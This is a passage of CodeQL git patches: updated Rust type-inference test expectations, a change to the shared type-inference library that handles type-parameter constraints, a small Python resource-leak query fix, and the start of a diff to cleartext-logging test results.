file://:0:0:0:0 | & | +| main.rs:695:18:695:23 | &... | &T | main.rs:651:5:652:19 | struct S | +| main.rs:695:18:695:23 | &... | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:695:19:695:23 | S(...) | | main.rs:651:5:652:19 | struct S | +| main.rs:695:19:695:23 | S(...) | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:695:21:695:22 | S2 | | main.rs:654:5:655:14 | struct S2 | +| main.rs:697:26:697:30 | (...) | | main.rs:651:5:652:19 | struct S | +| main.rs:697:26:697:30 | (...) | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:697:26:697:35 | ... .m1(...) | | main.rs:654:5:655:14 | struct S2 | +| main.rs:697:27:697:29 | * ... | | main.rs:651:5:652:19 | struct S | +| main.rs:697:27:697:29 | * ... | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:697:28:697:29 | x6 | | file://:0:0:0:0 | & | +| main.rs:697:28:697:29 | x6 | &T | main.rs:651:5:652:19 | struct S | +| main.rs:697:28:697:29 | x6 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:703:16:703:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:703:16:703:20 | SelfParam | &T | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:705:16:705:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:705:16:705:20 | SelfParam | &T | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:705:32:707:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:705:32:707:9 | { ... } | &T | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:706:13:706:16 | self | | file://:0:0:0:0 | & | +| main.rs:706:13:706:16 | self | &T | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:706:13:706:22 | self.foo(...) | | file://:0:0:0:0 | & | +| main.rs:706:13:706:22 | self.foo(...) | &T | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:713:16:713:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:713:16:713:20 | SelfParam | &T | main.rs:710:5:710:20 | struct MyStruct | +| main.rs:713:36:715:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:713:36:715:9 | { ... } | &T | main.rs:710:5:710:20 | struct MyStruct | +| main.rs:714:13:714:16 | self | | file://:0:0:0:0 | & | +| main.rs:714:13:714:16 | self | &T | main.rs:710:5:710:20 | struct MyStruct | +| main.rs:719:13:719:13 | x | | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:719:13:719:13 | x | | main.rs:710:5:710:20 | struct MyStruct | +| main.rs:719:17:719:24 | MyStruct | | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:719:17:719:24 | MyStruct | | main.rs:710:5:710:20 | struct MyStruct | +| main.rs:720:9:720:9 | x | | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:720:9:720:9 | x | | main.rs:710:5:710:20 | struct MyStruct | +| main.rs:720:9:720:15 | x.bar(...) | | file://:0:0:0:0 | & | +| main.rs:720:9:720:15 | x.bar(...) | &T | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:720:9:720:15 | x.bar(...) | &T | main.rs:710:5:710:20 | struct MyStruct | +| main.rs:730:16:730:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:730:16:730:20 | SelfParam | &T | main.rs:727:5:727:26 | struct MyStruct | +| main.rs:730:16:730:20 | SelfParam | &T.T | main.rs:729:10:729:10 | T | +| main.rs:730:32:732:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:730:32:732:9 | { ... } | &T | main.rs:727:5:727:26 | struct MyStruct | +| main.rs:730:32:732:9 | { ... } | &T.T | main.rs:729:10:729:10 | T | +| main.rs:731:13:731:16 | self | | file://:0:0:0:0 | & | +| main.rs:731:13:731:16 | self | &T | main.rs:727:5:727:26 | struct MyStruct | +| main.rs:731:13:731:16 | self | &T.T | main.rs:729:10:729:10 | T | +| main.rs:736:13:736:13 | x | | main.rs:727:5:727:26 | struct MyStruct | +| main.rs:736:13:736:13 | x | T | main.rs:725:5:725:13 | struct S | +| main.rs:736:17:736:27 | MyStruct(...) | | main.rs:727:5:727:26 | struct MyStruct | +| main.rs:736:17:736:27 | MyStruct(...) | T | main.rs:725:5:725:13 | struct S | +| main.rs:736:26:736:26 | S | | main.rs:725:5:725:13 | struct S | +| main.rs:737:9:737:9 | x | | main.rs:727:5:727:26 | struct MyStruct | +| main.rs:737:9:737:9 | x | T | main.rs:725:5:725:13 | struct S | +| main.rs:737:9:737:15 | x.foo(...) | | file://:0:0:0:0 | & | +| main.rs:737:9:737:15 | x.foo(...) | &T | main.rs:727:5:727:26 | struct MyStruct | +| main.rs:737:9:737:15 | x.foo(...) | &T.T | main.rs:725:5:725:13 | struct S | +| main.rs:745:15:745:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:745:15:745:19 | SelfParam | &T | main.rs:742:5:742:13 | struct S | +| main.rs:745:31:747:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:745:31:747:9 | { ... } | &T | main.rs:742:5:742:13 | struct S | +| main.rs:746:13:746:19 | &... | | file://:0:0:0:0 | & | +| main.rs:746:13:746:19 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:746:14:746:19 | &... | | file://:0:0:0:0 | & | +| main.rs:746:14:746:19 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:746:15:746:19 | &self | | file://:0:0:0:0 | & | +| main.rs:746:15:746:19 | &self | &T | main.rs:742:5:742:13 | struct S | +| main.rs:746:16:746:19 | self | | file://:0:0:0:0 | & | +| main.rs:746:16:746:19 | self | &T | main.rs:742:5:742:13 | struct S | +| main.rs:749:15:749:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:749:15:749:25 | SelfParam | &T | main.rs:742:5:742:13 | struct S | +| main.rs:749:37:751:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:749:37:751:9 | { ... } | &T | main.rs:742:5:742:13 | struct S | +| main.rs:750:13:750:19 | &... | | file://:0:0:0:0 | & | +| main.rs:750:13:750:19 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:750:14:750:19 | &... | | file://:0:0:0:0 | & | +| main.rs:750:14:750:19 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:750:15:750:19 | &self | | file://:0:0:0:0 | & | +| main.rs:750:15:750:19 | &self | &T | main.rs:742:5:742:13 | struct S | +| main.rs:750:16:750:19 | self | | file://:0:0:0:0 | & | +| main.rs:750:16:750:19 | self | &T | main.rs:742:5:742:13 | struct S | +| main.rs:753:15:753:15 | x | | file://:0:0:0:0 | & | +| main.rs:753:15:753:15 | x | &T | main.rs:742:5:742:13 | struct S | +| main.rs:753:34:755:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:753:34:755:9 | { ... } | &T | main.rs:742:5:742:13 | struct S | +| main.rs:754:13:754:13 | x | | file://:0:0:0:0 | & | +| main.rs:754:13:754:13 | x | &T | main.rs:742:5:742:13 | struct S | +| main.rs:757:15:757:15 | x | | file://:0:0:0:0 | & | +| main.rs:757:15:757:15 | x | &T | main.rs:742:5:742:13 | struct S | +| main.rs:757:34:759:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:757:34:759:9 | { ... } | &T | main.rs:742:5:742:13 | struct S | +| main.rs:758:13:758:16 | &... | | file://:0:0:0:0 | & | +| main.rs:758:13:758:16 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:758:14:758:16 | &... | | file://:0:0:0:0 | & | +| main.rs:758:14:758:16 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:758:15:758:16 | &x | | file://:0:0:0:0 | & | +| main.rs:758:15:758:16 | &x | &T | main.rs:742:5:742:13 | struct S | +| main.rs:758:16:758:16 | x | | file://:0:0:0:0 | & | +| main.rs:758:16:758:16 | x | &T | main.rs:742:5:742:13 | struct S | +| main.rs:763:13:763:13 | x | | main.rs:742:5:742:13 | struct S | +| main.rs:763:17:763:20 | S {...} | | main.rs:742:5:742:13 | struct S | +| main.rs:764:9:764:9 | x | | main.rs:742:5:742:13 | struct S | +| main.rs:764:9:764:14 | x.f1(...) | | file://:0:0:0:0 | & | +| main.rs:764:9:764:14 | x.f1(...) | &T | main.rs:742:5:742:13 | struct S | +| main.rs:765:9:765:9 | x | | main.rs:742:5:742:13 | struct S | +| main.rs:765:9:765:14 | x.f2(...) | | file://:0:0:0:0 | & | +| main.rs:765:9:765:14 | x.f2(...) | &T | main.rs:742:5:742:13 | struct S | +| main.rs:766:9:766:17 | ...::f3(...) | | file://:0:0:0:0 | & | +| main.rs:766:9:766:17 | ...::f3(...) | &T | main.rs:742:5:742:13 | struct S | +| main.rs:766:15:766:16 | &x | | file://:0:0:0:0 | & | +| main.rs:766:15:766:16 | &x | &T | main.rs:742:5:742:13 | struct S | +| main.rs:766:16:766:16 | x | | main.rs:742:5:742:13 | struct S | +| main.rs:772:5:772:20 | ...::f(...) | | main.rs:67:5:67:21 | struct Foo | +| main.rs:773:5:773:60 | ...::g(...) | | main.rs:67:5:67:21 | struct Foo | +| main.rs:773:20:773:38 | ...::Foo {...} | | main.rs:67:5:67:21 | struct Foo | +| main.rs:773:41:773:59 | ...::Foo {...} | | main.rs:67:5:67:21 | struct Foo | resolveMethodCallExpr | loop/main.rs:12:9:12:18 | self.foo(...) | loop/main.rs:7:5:7:19 | fn foo | | main.rs:88:9:88:14 | x.m1(...) | main.rs:70:9:72:9 | fn m1 | @@ -1017,38 +1054,39 @@ resolveMethodCallExpr | main.rs:250:18:250:24 | x.fst(...) | main.rs:236:9:236:27 | fn fst | | main.rs:251:18:251:24 | y.snd(...) | main.rs:238:9:238:27 | fn snd | | main.rs:274:13:274:21 | self.m1(...) | main.rs:268:9:268:25 | fn m1 | -| main.rs:279:9:279:14 | x.m1(...) | main.rs:268:9:268:25 | fn m1 | -| main.rs:292:26:292:31 | x.m1(...) | main.rs:283:9:285:9 | fn m1 | -| main.rs:293:26:293:31 | y.m1(...) | main.rs:283:9:285:9 | fn m1 | -| main.rs:298:26:298:31 | x.m2(...) | main.rs:270:9:275:9 | fn m2 | -| main.rs:299:26:299:31 | y.m2(...) | main.rs:270:9:275:9 | fn m2 | -| main.rs:337:26:337:31 | x.m1(...) | main.rs:330:9:332:9 | fn m1 | -| main.rs:340:26:340:31 | x.m2(...) | main.rs:315:9:321:9 | fn m2 | -| main.rs:369:26:369:31 | x.m1(...) | main.rs:357:9:362:9 | fn m1 | -| main.rs:370:26:370:31 | y.m1(...) | main.rs:357:9:362:9 | fn m1 | -| main.rs:400:17:400:25 | self.m1(...) | main.rs:391:9:391:27 | fn m1 | -| main.rs:413:17:413:25 | self.m2(...) | main.rs:395:9:404:9 | fn m2 | -| main.rs:442:26:442:31 | x.m1(...) | main.rs:421:9:423:9 | fn m1 | -| main.rs:443:26:443:31 | y.m1(...) | main.rs:421:9:423:9 | fn m1 | -| main.rs:448:26:448:31 | x.m2(...) | main.rs:395:9:404:9 | fn m2 | -| main.rs:449:26:449:31 | y.m2(...) | main.rs:395:9:404:9 | fn m2 | -| main.rs:454:26:454:31 | x.m3(...) | main.rs:408:9:417:9 | fn m3 | -| main.rs:455:26:455:31 | y.m3(...) | main.rs:408:9:417:9 | fn m3 | -| main.rs:562:13:562:27 | self.set(...) | main.rs:559:9:559:36 | fn set | -| main.rs:593:9:593:17 | x2.set(...) | main.rs:567:9:567:38 | fn set | -| main.rs:597:9:597:22 | x3.call_set(...) | main.rs:561:9:563:9 | fn call_set | -| main.rs:657:26:657:32 | x1.m1(...) | main.rs:642:9:644:9 | fn m1 | -| main.rs:661:26:661:32 | x2.m2(...) | main.rs:646:9:648:9 | fn m2 | -| main.rs:662:26:662:32 | x2.m3(...) | main.rs:650:9:652:9 | fn m3 | -| main.rs:671:26:671:32 | x4.m2(...) | main.rs:646:9:648:9 | fn m2 | -| main.rs:672:26:672:32 | x4.m3(...) | main.rs:650:9:652:9 | fn m3 | -| main.rs:676:26:676:32 | x5.m1(...) | main.rs:642:9:644:9 | fn m1 | -| main.rs:681:26:681:35 | ... .m1(...) | main.rs:642:9:644:9 | fn m1 | -| main.rs:690:13:690:22 | self.foo(...) | main.rs:687:9:687:31 | fn foo | -| main.rs:704:9:704:15 | x.bar(...) | main.rs:689:9:691:9 | fn bar | -| main.rs:721:9:721:15 | x.foo(...) | main.rs:714:9:716:9 | fn foo | -| main.rs:748:9:748:14 | x.f1(...) | main.rs:729:9:731:9 | fn f1 | -| main.rs:749:9:749:14 | x.f2(...) | main.rs:733:9:735:9 | fn f2 | +| main.rs:280:9:280:14 | x.m1(...) | main.rs:268:9:268:25 | fn m1 | +| main.rs:285:9:285:16 | ... .m1(...) | main.rs:268:9:268:25 | fn m1 | +| main.rs:298:26:298:31 | x.m1(...) | main.rs:289:9:291:9 | fn m1 | +| main.rs:299:26:299:31 | y.m1(...) | main.rs:289:9:291:9 | fn m1 | +| main.rs:304:26:304:31 | x.m2(...) | main.rs:270:9:275:9 | fn m2 | +| main.rs:305:26:305:31 | y.m2(...) | main.rs:270:9:275:9 | fn m2 | +| main.rs:353:26:353:31 | x.m1(...) | main.rs:346:9:348:9 | fn m1 | +| main.rs:356:26:356:31 | x.m2(...) | main.rs:331:9:337:9 | fn m2 | +| main.rs:385:26:385:31 | x.m1(...) | main.rs:373:9:378:9 | fn m1 | +| main.rs:386:26:386:31 | y.m1(...) | main.rs:373:9:378:9 | fn m1 | +| main.rs:416:17:416:25 | self.m1(...) | main.rs:407:9:407:27 | fn m1 | +| main.rs:429:17:429:25 | self.m2(...) | main.rs:411:9:420:9 | fn m2 | +| main.rs:458:26:458:31 | x.m1(...) | main.rs:437:9:439:9 | fn m1 | +| main.rs:459:26:459:31 | y.m1(...) | main.rs:437:9:439:9 | fn m1 | +| main.rs:464:26:464:31 | x.m2(...) | main.rs:411:9:420:9 | fn m2 | +| main.rs:465:26:465:31 | y.m2(...) | main.rs:411:9:420:9 | fn m2 | +| main.rs:470:26:470:31 | x.m3(...) | main.rs:424:9:433:9 | fn m3 | +| main.rs:471:26:471:31 | y.m3(...) | main.rs:424:9:433:9 | fn m3 | +| main.rs:578:13:578:27 | self.set(...) | main.rs:575:9:575:36 | fn set | +| main.rs:609:9:609:17 | x2.set(...) | main.rs:583:9:583:38 | fn set | +| main.rs:613:9:613:22 | x3.call_set(...) | main.rs:577:9:579:9 | fn call_set | +| main.rs:673:26:673:32 | x1.m1(...) | main.rs:658:9:660:9 | fn m1 | +| main.rs:677:26:677:32 | x2.m2(...) | main.rs:662:9:664:9 | fn m2 | +| main.rs:678:26:678:32 | x2.m3(...) | main.rs:666:9:668:9 | fn m3 | +| main.rs:687:26:687:32 | x4.m2(...) | main.rs:662:9:664:9 | fn m2 | +| main.rs:688:26:688:32 | x4.m3(...) | main.rs:666:9:668:9 | fn m3 | +| main.rs:692:26:692:32 | x5.m1(...) | main.rs:658:9:660:9 | fn m1 | +| main.rs:697:26:697:35 | ... .m1(...) | main.rs:658:9:660:9 | fn m1 | +| main.rs:706:13:706:22 | self.foo(...) | main.rs:703:9:703:31 | fn foo | +| main.rs:720:9:720:15 | x.bar(...) | main.rs:705:9:707:9 | fn bar | +| main.rs:737:9:737:15 | x.foo(...) | main.rs:730:9:732:9 | fn foo | +| main.rs:764:9:764:14 | x.f1(...) | main.rs:745:9:747:9 | fn f1 | +| main.rs:765:9:765:14 | x.f2(...) | main.rs:749:9:751:9 | fn f2 | resolveFieldExpr | main.rs:27:26:27:28 | x.a | main.rs:7:9:7:12 | StructField | | main.rs:33:26:33:28 | x.a | main.rs:18:9:18:12 | StructField | @@ -1063,12 +1101,13 @@ resolveFieldExpr | main.rs:128:26:128:28 | y.a | main.rs:96:9:96:12 | StructField | | main.rs:169:13:169:18 | self.a | main.rs:144:9:144:12 | StructField | | main.rs:175:23:175:28 | self.a | main.rs:144:9:144:12 | StructField | -| main.rs:284:13:284:18 | self.a | main.rs:259:9:259:12 | StructField | -| main.rs:413:17:413:27 | ... .a | main.rs:377:9:377:12 | StructField | -| main.rs:415:17:415:32 | ... .a | main.rs:377:9:377:12 | StructField | -| main.rs:422:13:422:18 | self.a | main.rs:377:9:377:12 | StructField | -| main.rs:430:26:430:31 | self.a | main.rs:382:9:382:12 | StructField | -| main.rs:643:13:643:18 | self.0 | main.rs:636:17:636:17 | TupleField | -| main.rs:647:14:647:19 | self.0 | main.rs:636:17:636:17 | TupleField | -| main.rs:651:14:651:19 | self.0 | main.rs:636:17:636:17 | TupleField | -| main.rs:677:26:677:29 | x5.0 | main.rs:636:17:636:17 | TupleField | +| main.rs:285:9:285:11 | x.a | main.rs:259:9:259:12 | StructField | +| main.rs:290:13:290:18 | self.a | main.rs:259:9:259:12 | StructField | +| main.rs:429:17:429:27 | ... .a | main.rs:393:9:393:12 | StructField | +| main.rs:431:17:431:32 | ... .a | main.rs:393:9:393:12 | StructField | +| main.rs:438:13:438:18 | self.a | main.rs:393:9:393:12 | StructField | +| main.rs:446:26:446:31 | self.a | main.rs:398:9:398:12 | StructField | +| main.rs:659:13:659:18 | self.0 | main.rs:652:17:652:17 | TupleField | +| main.rs:663:14:663:19 | self.0 | main.rs:652:17:652:17 | TupleField | +| main.rs:667:14:667:19 | self.0 | main.rs:652:17:652:17 | TupleField | +| main.rs:693:26:693:29 | x5.0 | main.rs:652:17:652:17 | TupleField | From 06c8963f70cccd1e576d68999eaaa7b1db7daf2b Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Tue, 25 Mar 2025 09:03:44 +0100 Subject: [PATCH 064/282] Shared: Infer types for type parameters with contraints --- .../test/library-tests/type-inference/main.rs | 8 +- .../type-inference/type-inference.expected | 4 + .../typeinference/internal/TypeInference.qll | 99 ++++++++++++++----- 3 files changed, 85 insertions(+), 26 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 3a33687c95f..287dbeb29c2 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -307,8 +307,8 @@ mod function_trait_bounds { let x2 = MyThing { a: S1 }; let y2 = MyThing { a: S2 }; - println!("{:?}", call_trait_m1(x2)); // missing - println!("{:?}", call_trait_m1(y2)); // missing + println!("{:?}", call_trait_m1(x2)); + println!("{:?}", call_trait_m1(y2)); let x3 = MyThing { a: MyThing { a: S1 }, @@ -317,8 +317,8 @@ mod function_trait_bounds { a: MyThing { a: S2 }, }; - println!("{:?}", call_trait_thing_m1(x3)); // missing - println!("{:?}", call_trait_thing_m1(y3)); // missing + println!("{:?}", call_trait_thing_m1(x3)); + println!("{:?}", call_trait_thing_m1(y3)); } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 3e48ad0cdb5..6d92dd08f12 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -409,8 +409,10 @@ inferType | main.rs:308:18:308:34 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | | main.rs:308:18:308:34 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | | main.rs:308:31:308:32 | S2 | | main.rs:264:5:265:14 | struct S2 | +| main.rs:310:26:310:42 | call_trait_m1(...) | | main.rs:262:5:263:14 | struct S1 | | main.rs:310:40:310:41 | x2 | | main.rs:257:5:260:5 | struct MyThing | | main.rs:310:40:310:41 | x2 | T | main.rs:262:5:263:14 | struct S1 | +| main.rs:311:26:311:42 | call_trait_m1(...) | | main.rs:264:5:265:14 | struct S2 | | main.rs:311:40:311:41 | y2 | | main.rs:257:5:260:5 | struct MyThing | | main.rs:311:40:311:41 | y2 | T | main.rs:264:5:265:14 | struct S2 | | main.rs:313:13:313:14 | x3 | | main.rs:257:5:260:5 | struct MyThing | @@ -431,9 +433,11 @@ inferType | main.rs:317:16:317:32 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | | main.rs:317:16:317:32 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | | main.rs:317:29:317:30 | S2 | | main.rs:264:5:265:14 | struct S2 | +| main.rs:320:26:320:48 | call_trait_thing_m1(...) | | main.rs:262:5:263:14 | struct S1 | | main.rs:320:46:320:47 | x3 | | main.rs:257:5:260:5 | struct MyThing | | main.rs:320:46:320:47 | x3 | T | main.rs:257:5:260:5 | struct MyThing | | main.rs:320:46:320:47 | x3 | T.T | main.rs:262:5:263:14 | struct S1 | +| main.rs:321:26:321:48 | call_trait_thing_m1(...) | | main.rs:264:5:265:14 | struct S2 | | main.rs:321:46:321:47 | y3 | | main.rs:257:5:260:5 | struct MyThing | | main.rs:321:46:321:47 | y3 | T | main.rs:257:5:260:5 | struct MyThing | | main.rs:321:46:321:47 | y3 | T.T | main.rs:264:5:265:14 | struct S2 | diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 3f2c529ad4f..85e89354c89 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -512,36 +512,35 @@ module Make1 Input1> { private module AccessBaseType { /** - * Holds if inferring types at `a` might depend on the type at `apos` - * having `baseMention` as a transitive base type mention. + * Holds if inferring types at `a` might depend on the type at `path` of + * `apos` having `baseMention` as a transitive base type mention. */ - private predicate relevantAccess(Access a, AccessPosition apos, Type base) { + private predicate relevantAccess(Access a, AccessPosition apos, TypePath path, Type base) { exists(Declaration target, DeclarationPosition dpos | adjustedAccessType(a, apos, target, _, _) and - accessDeclarationPositionMatch(apos, dpos) and - declarationBaseType(target, dpos, base, _, _) + accessDeclarationPositionMatch(apos, dpos) + | + path.isEmpty() and declarationBaseType(target, dpos, base, _, _) + or + typeParameterConstraintHasTypeParameter(target, dpos, path, _, base, _, _) ) } pragma[nomagic] - private Type inferRootType(Access a, AccessPosition apos) { - relevantAccess(a, apos, _) and - result = a.getInferredType(apos, TypePath::nil()) - } - - pragma[nomagic] - private Type inferTypeAt(Access a, AccessPosition apos, TypeParameter tp, TypePath suffix) { - relevantAccess(a, apos, _) and + private Type inferTypeAt( + Access a, AccessPosition apos, TypePath prefix, TypeParameter tp, TypePath suffix + ) { + relevantAccess(a, apos, prefix, _) and exists(TypePath path0 | - result = a.getInferredType(apos, path0) and + result = a.getInferredType(apos, prefix.append(path0)) and path0.isCons(tp, suffix) ) } /** - * Holds if `baseMention` is a (transitive) base type mention of the type of - * `a` at position `apos`, and `t` is mentioned (implicitly) at `path` inside - * `base`. For example, in + * Holds if `baseMention` is a (transitive) base type mention of the + * type of `a` at position `apos` at path `pathToSub`, and `t` is + * mentioned (implicitly) at `path` inside `base`. For example, in * * ```csharp * class C { } @@ -570,17 +569,18 @@ module Make1 Input1> { */ pragma[nomagic] predicate hasBaseTypeMention( - Access a, AccessPosition apos, TypeMention baseMention, TypePath path, Type t + Access a, AccessPosition apos, TypePath pathToSub, TypeMention baseMention, TypePath path, + Type t ) { - relevantAccess(a, apos, resolveTypeMentionRoot(baseMention)) and - exists(Type sub | sub = inferRootType(a, apos) | + relevantAccess(a, apos, pathToSub, resolveTypeMentionRoot(baseMention)) and + exists(Type sub | sub = a.getInferredType(apos, pathToSub) | not t = sub.getATypeParameter() and baseTypeMentionHasTypeAt(sub, baseMention, path, t) or exists(TypePath prefix, TypePath suffix, TypeParameter tp | tp = sub.getATypeParameter() and baseTypeMentionHasTypeAt(sub, baseMention, prefix, tp) and - t = inferTypeAt(a, apos, tp, suffix) and + t = inferTypeAt(a, apos, pathToSub, tp, suffix) and path = prefix.append(suffix) ) ) @@ -596,7 +596,7 @@ module Make1 Input1> { Access a, AccessPosition apos, Type base, TypePath path, Type t ) { exists(TypeMention tm | - AccessBaseType::hasBaseTypeMention(a, apos, tm, path, t) and + AccessBaseType::hasBaseTypeMention(a, apos, TypePath::nil(), tm, path, t) and base = resolveTypeMentionRoot(tm) ) } @@ -671,6 +671,58 @@ module Make1 Input1> { t = getTypeArgument(a, target, tp, path) } + /** + * Holds if `tp1` and `tp2` are distinct type parameters of `target`, the + * declared type at `apos` mentions `tp1` at `path1`, `tp1` has a base + * type mention of type `constrant` that mentions `tp2` at the path + * `path2`. + * + * For this example + * ```csharp + * interface IFoo { } + * void M(T2 item) where T2 : IFoo { } + * ``` + * with the method declaration being the target and the for the first + * parameter position, we have the following + * - `path1 = ""`, + * - `tp1 = T2`, + * - `constraint = IFoo`, + * - `path2 = "A"`, + * - `tp2 = T1` + */ + pragma[nomagic] + private predicate typeParameterConstraintHasTypeParameter( + Declaration target, DeclarationPosition dpos, TypePath path1, TypeParameter tp1, + Type constraint, TypePath path2, TypeParameter tp2 + ) { + tp1 = target.getTypeParameter(_) and + tp2 = target.getTypeParameter(_) and + tp1 != tp2 and + tp1 = target.getDeclaredType(dpos, path1) and + exists(TypeMention tm | + tm = getABaseTypeMention(tp1) and + tm.resolveTypeAt(path2) = tp2 and + constraint = resolveTypeMentionRoot(tm) + ) + } + + pragma[nomagic] + private predicate typeConstraintBaseTypeMatch( + Access a, Declaration target, TypePath path, Type t, TypeParameter tp + ) { + not exists(getTypeArgument(a, target, tp, _)) and + target = a.getTarget() and + exists( + TypeMention base, AccessPosition apos, DeclarationPosition dpos, TypePath pathToTp, + TypePath pathToTp2 + | + accessDeclarationPositionMatch(apos, dpos) and + typeParameterConstraintHasTypeParameter(target, dpos, pathToTp2, _, + resolveTypeMentionRoot(base), pathToTp, tp) and + AccessBaseType::hasBaseTypeMention(a, apos, pathToTp2, base, pathToTp.append(path), t) + ) + } + pragma[inline] private predicate typeMatch( Access a, Declaration target, TypePath path, Type t, TypeParameter tp @@ -684,6 +736,9 @@ module Make1 Input1> { or // We can infer the type of `tp` by going up the type hiearchy baseTypeMatch(a, target, path, t, tp) + or + // We can infer the type of `tp` by a type bound + typeConstraintBaseTypeMatch(a, target, path, t, tp) } /** From 0fa70db4c2bc43e7513b4a663f9de86b179d6aba Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Tue, 25 Mar 2025 08:55:55 +0000 Subject: [PATCH 065/282] Review suggestions - update comment and introduce manual magic to filelocalflow --- python/ql/src/Resources/FileNotAlwaysClosedQuery.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll index 2d5bb5c3abc..ef5a9f201b6 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll +++ b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll @@ -50,7 +50,7 @@ class FileWrapperCall extends DataFlow::CallCfgNode { /** A node where a file is closed. */ abstract class FileClose extends DataFlow::CfgNode { - /** Holds if this file close will occur if an exception is thrown at `e`. */ + /** Holds if this file close will occur if an exception is thrown at `raises`. */ predicate guardsExceptions(DataFlow::CfgNode raises) { this.asCfgNode() = raises.asCfgNode().getAnExceptionalSuccessor().getASuccessor*() or @@ -91,7 +91,7 @@ private predicate fileLocalFlowStep(DataFlow::Node nodeFrom, DataFlow::Node node } /** Holds if data flows from `source` to `sink`, including file wrapper classes. */ -private predicate fileLocalFlow(DataFlow::Node source, DataFlow::Node sink) { +private predicate fileLocalFlow(FileOpen source, DataFlow::Node sink) { fileLocalFlowStep*(source, sink) } From 3d405f6d61502b7fe774627dc4fa512ae4f4e4b2 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Tue, 25 Mar 2025 12:44:22 +0100 Subject: [PATCH 066/282] Rust: accept test changes for now --- .../CWE-312/CleartextLogging.expected | 281 ++++-------------- 1 file changed, 66 insertions(+), 215 deletions(-) diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index a34f9d78f52..9878a4bc711 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -1,33 +1,8 @@ #select -| test_logging.rs:42:5:42:36 | ...::log | test_logging.rs:42:28:42:35 | password | test_logging.rs:42:5:42:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:42:28:42:35 | password | password | -| test_logging.rs:43:5:43:36 | ...::log | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:5:43:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:43:28:43:35 | password | password | -| test_logging.rs:44:5:44:35 | ...::log | test_logging.rs:44:27:44:34 | password | test_logging.rs:44:5:44:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:44:27:44:34 | password | password | -| test_logging.rs:45:5:45:36 | ...::log | test_logging.rs:45:28:45:35 | password | test_logging.rs:45:5:45:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:45:28:45:35 | password | password | -| test_logging.rs:46:5:46:35 | ...::log | test_logging.rs:46:27:46:34 | password | test_logging.rs:46:5:46:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:46:27:46:34 | password | password | -| test_logging.rs:47:5:47:48 | ...::log | test_logging.rs:47:40:47:47 | password | test_logging.rs:47:5:47:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:47:40:47:47 | password | password | -| test_logging.rs:52:5:52:36 | ...::log | test_logging.rs:52:28:52:35 | password | test_logging.rs:52:5:52:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:52:28:52:35 | password | password | -| test_logging.rs:54:5:54:49 | ...::log | test_logging.rs:54:41:54:48 | password | test_logging.rs:54:5:54:49 | ...::log | This operation writes $@ to a log file. | test_logging.rs:54:41:54:48 | password | password | -| test_logging.rs:56:5:56:47 | ...::log | 